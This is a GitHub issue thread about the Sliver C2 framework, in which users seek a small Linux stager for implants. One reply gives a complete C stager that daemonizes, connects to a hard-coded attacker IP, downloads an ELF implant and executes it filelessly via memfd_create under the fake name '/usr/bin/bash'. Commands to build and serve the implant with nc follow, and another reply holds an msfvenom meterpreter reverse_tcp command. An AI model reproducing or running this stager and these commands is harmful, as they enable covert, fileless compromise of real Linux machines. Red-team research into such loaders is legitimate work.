sliver icon indicating copy to clipboard operation
sliver copied to clipboard

How to generate stager on linux?

Open runt0 opened this issue 1 year ago • 11 comments

Hello: The linux implants is about 13M, I want to generate stager on linux. I have read the doc and generate the stager on windows successfully,but I dont find any info about linux, how can I reduces the size of the payload on linux?

info

[*] Client v1.5.42 - 85b0e870d05ec47184958dbcb871ddee2eb9e3df - linux/amd64
    Compiled at 2024-02-29 03:46:53 +0800 CST
    Compiled with go version go1.20.7 linux/amd64


[*] Server v1.5.42 - 85b0e870d05ec47184958dbcb871ddee2eb9e3df - linux/amd64
    Compiled at 2024-02-29 03:46:53 +0800 CST

command

generate stager --lhost 127.0.0.1 --lport 8443 --protocol https --save /tmp --format c --os linux

error

[!] Error: rpc error: code = Unknown desc = linux is currently not supported - Please make sure Metasploit framework >= v6.2 is installed and msfvenom/msfconsole are in your PATH

log

INFO[2024-07-04T10:07:56+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:220] finished unary call with code OK 
ERRO[2024-07-04T10:09:04+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:224] finished unary call with code Unknown 
ERRO[2024-07-04T10:09:57+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:224] finished unary call with code Unknown 
ERRO[2024-07-04T10:10:41+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:224] finished unary call with code Unknown 
ERRO[2024-07-04T10:15:14+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:224] finished unary call with code Unknown 
ERRO[2024-07-04T10:18:50+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:224] finished unary call with code Unknown 
INFO[2024-07-04T10:24:18+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:220] finished unary call with code OK 
INFO[2024-07-04T10:25:49+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:220] finished unary call with code OK 
ERRO[2024-07-04T10:29:42+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:224] finished unary call with code Unknown 

runt0 avatar Jul 04 '24 02:07 runt0

Same, even after trying with

profiles new beacon --mtls 192.168.12.233:80  -o linux --arch amd64 linux64_profile

stage-listener -u tcp://0.0.0.0:443 -p linux64_profile -P
mtls -L 0.0.0.0 -l 80

And generate the stager via msfvenom

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.12.233 LPORT=443 -f elf -o met123.elf

Executing the stager results in segmentation fault, but tcpdump shows the initial connection, then it segmentation faults after

NoPurposeInLife avatar Jul 08 '24 13:07 NoPurposeInLife

We don't have a shellcode/stager version in the framework for Linux, I recommend using LD_PRELOAD and memfd (there's a lot of examples online how to do this) to load over the network directly into memory on Linux.

moloch-- avatar Jul 08 '24 19:07 moloch--

Does this mean sliver cannot handle Linux meterpreter shells or linux reverse tcp shells?

NoPurposeInLife avatar Jul 10 '24 03:07 NoPurposeInLife

Sliver is not compatible with meterpreter's Linux stager, no.

rkervella avatar Jul 10 '24 15:07 rkervella

Not sure if anyone will find this useful, but here's an example of a minimal linux stager over TCP:

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <unistd.h>

#define ELF_NAME "/usr/bin/bash"
#define HOST "192.168.45.199"
#define PORT 80

int
main(void) {
    pid_t pid = fork();
    if (pid < 0) { return 1; }
    else if (pid > 0) { return 0; }

    if (setsid() == -1) { return 1; }

    pid = fork();
    if (pid < 0) { return 1; }
    else if (pid > 0) { return 0; }

    if (chdir("/") < 0) { return 1; }

    close(STDIN_FILENO);
    close(STDOUT_FILENO);
    close(STDERR_FILENO);

    int fd = open("/dev/null", O_CLOEXEC | O_RDWR);
    if (fd == -1) { return 1; }

    dup2(fd, STDIN_FILENO);
    dup2(fd, STDOUT_FILENO);
    dup2(fd, STDERR_FILENO);
    if (fd > 2) { close(fd); }

    int return_value = 1;

    int sd = socket(AF_INET, SOCK_CLOEXEC | SOCK_STREAM, 0);
    if (sd == -1) { goto ERROR; }

    struct sockaddr_in sa = {0};
    sa.sin_family = AF_INET;
    sa.sin_port = htons(PORT);

    if (inet_pton(AF_INET, HOST, &sa.sin_addr) < 1) { goto ERROR_SD; }
    if (connect(sd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
        goto ERROR_SD;
    }

    uint32_t elf_size = 0;
    if (recv(sd, &elf_size, sizeof(elf_size), 0) != sizeof(elf_size)) {
        goto ERROR_SD;
    }

    elf_size = ntohl(elf_size);

    uint8_t *elf_data = malloc(elf_size);
    if (!elf_data) { goto ERROR_SD; }

    ssize_t bytes_partial = 0;
    ssize_t bytes_total = 0;
    while (bytes_total < elf_size) {
        bytes_partial = recv(
            sd, elf_data + bytes_total, elf_size - bytes_total, 0);
        if (bytes_partial < 1) { goto ERROR_DATA; }

        bytes_total += bytes_partial;
    }

    int md = memfd_create(ELF_NAME, MFD_CLOEXEC);
    if (md == -1) { goto ERROR_DATA; }

    bytes_total = 0;
    while (bytes_total < elf_size) {
        bytes_partial = write(
            md, elf_data + bytes_total, elf_size - bytes_total);
        if (bytes_partial < 1) { goto ERROR_MEMFD; }

        bytes_total += bytes_partial;
    }

    char *argv[] = {ELF_NAME, NULL};
    char *envp[] = {NULL};

    if (fexecve(md, argv, envp) == -1) { goto ERROR_MEMFD; }

    return_value = 0;

ERROR_MEMFD:
    close(md);

ERROR_DATA:
    free(elf_data);

ERROR_SD:
    close(sd);

ERROR:
    return return_value;
}
  1. Compile the stager:
$ gcc -static stager.c -o stager
  1. Start and configure the sliver server:
$ sliver-server
$ profiles new -a amd64 -b 192.168.45.199:443 -f exe -o linux linux_64_exe
$ profiles generate -s . linux_64_exe
$ https -L 192.168.45.165 -l 443
  1. Format and serve the implant:
$ printf "%08x" "$(stat --format '%s' DISABLED_ABROAD)" | xxd -p -r > DISABLED_ABROAD_staged
$ cat DISABLED_ABROAD_staged | nc -lvp 80 -s 192.168.45.199
  1. Execute your stager:
$ ./stager

uhnomoli avatar Jan 25 '25 17:01 uhnomoli

I take a look the codes and found why, It just because go-donut library doesn't support such stuff. : (

Edit: go-donut lib is for windows and dotnet windows only. Not applicable for linux.

Esonhugh avatar Feb 11 '25 09:02 Esonhugh

Looking forward to adapting to Linux

pythonSB avatar Mar 21 '25 09:03 pythonSB

Image

Image

Image

Its simple to get it. my poc is available here.

https://github.com/Esonhugh/sliver-stage-helper

It based memfd-exec and I implemented it in short shellcode format. In the other way, this kind of support for staging can be implemented without changing the source code of sliver server.

I even changed the keystone engine (which is the assembler of shellcode) from cgo one to pure go one.

Esonhugh avatar Mar 22 '25 17:03 Esonhugh

Image

Image

Image

Its simple to get it. my poc is available here.

https://github.com/Esonhugh/sliver-stage-helper

It based memfd-exec and I implemented it in short shellcode format. In the other way, this kind of support for staging can be implemented without changing the source code of sliver server.

I even changed the keystone engine (which is the assembler of shellcode) from cgo one to pure go one.

Thank you for your contribution

pythonSB avatar Mar 26 '25 04:03 pythonSB

you can look this url https://xeldax.top/article/linux_no_file_elf_mem_execute#%E4%B8%80%E7%A7%8Dgolang%20elf%E5%86%85%E5%AD%98%E9%A9%AC%E7%9A%84%E5%AE%9E%E7%8E%B0

Xiaozes avatar Mar 28 '25 15:03 Xiaozes

you can look this url https://xeldax.top/article/linux_no_file_elf_mem_execute#%E4%B8%80%E7%A7%8Dgolang%20elf%E5%86%85%E5%AD%98%E9%A9%AC%E7%9A%84%E5%AE%9E%E7%8E%B0

good ~

pythonSB avatar Mar 29 '25 08:03 pythonSB